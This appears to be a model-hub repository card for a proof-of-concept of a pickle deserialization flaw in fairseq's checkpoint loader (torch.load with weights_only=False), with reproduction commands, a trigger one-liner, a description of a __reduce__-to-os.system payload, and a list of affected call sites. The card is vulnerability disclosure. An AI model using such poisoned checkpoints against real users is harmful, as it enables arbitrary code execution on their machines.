YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
FAIRSEQ-TORCH-LOAD-001: Unsafe torch.load(weights_only=False) RCE PoC
Vulnerability: Arbitrary Code Execution via malicious fairseq checkpoint Target: facebookresearch/fairseq (0.12.2, latest) CWE: CWE-502 (Deserialization of Untrusted Data) CVSS: 8.8 High
Quick Reproduction (3 minutes)
pip install fairseq torch
python poc_fairseq_rce.py
Expected: FAIRSEQ_RCE_CONFIRMED printed + marker file created at /tmp/fairseq_rce_proof.txt.
Attack (Malicious Checkpoint)
# Load malicious checkpoint via fairseq โ triggers arbitrary code execution
python -c "
from fairseq import checkpoint_utils
try:
checkpoint_utils.load_checkpoint_to_cpu('malicious_checkpoint.pt')
except: pass
# Check: cat /tmp/fairseq_rce_proof.txt
"
Expected output: FAIRSEQ_RCE_CONFIRMED printed, marker file created with id output.
Benign (Safe Path)
# Load benign checkpoint โ safe, no code execution
python -c "
import torch
state = torch.load('benign_checkpoint.pt', weights_only=True)
print('Safe load succeeded:', list(state['model'].keys()))
"
Expected output: Safe load succeeded: ['layer.weight', 'layer.bias']
Malicious vs Benign Comparison
| Aspect | Malicious | Benign |
|---|---|---|
| File | malicious_checkpoint.pt |
benign_checkpoint.pt |
| Contains | Pickle RCE payload (__reduce__ โ os.system) |
Normal tensor data |
torch.load(weights_only=False) |
RCE: arbitrary command execution | Safe (loads normally) |
torch.load(weights_only=True) |
Blocked (UnpicklingError) |
Safe (loads normally) |
fairseq load_checkpoint_to_cpu() |
RCE triggered | Would load normally |
Files
| File | Description |
|---|---|
poc_fairseq_rce.py |
Full PoC script with verification |
malicious_checkpoint.pt |
Malicious checkpoint with embedded RCE payload |
benign_checkpoint.pt |
Safe checkpoint for comparison |
create_malicious_checkpoint.py |
Script to regenerate checkpoint files |
Vulnerability Details
fairseq's checkpoint_utils.load_checkpoint_to_cpu() (L340) explicitly uses torch.load(f, weights_only=False), which deserializes arbitrary Python objects via pickle. Since PyTorch 2.6, the default is weights_only=True for safety โ fairseq explicitly overrides this protection.
Affected files: checkpoint_utils.py, vocoder.py, em.py, codedataset.py, xm_transformer.py (6 files, 11 call sites).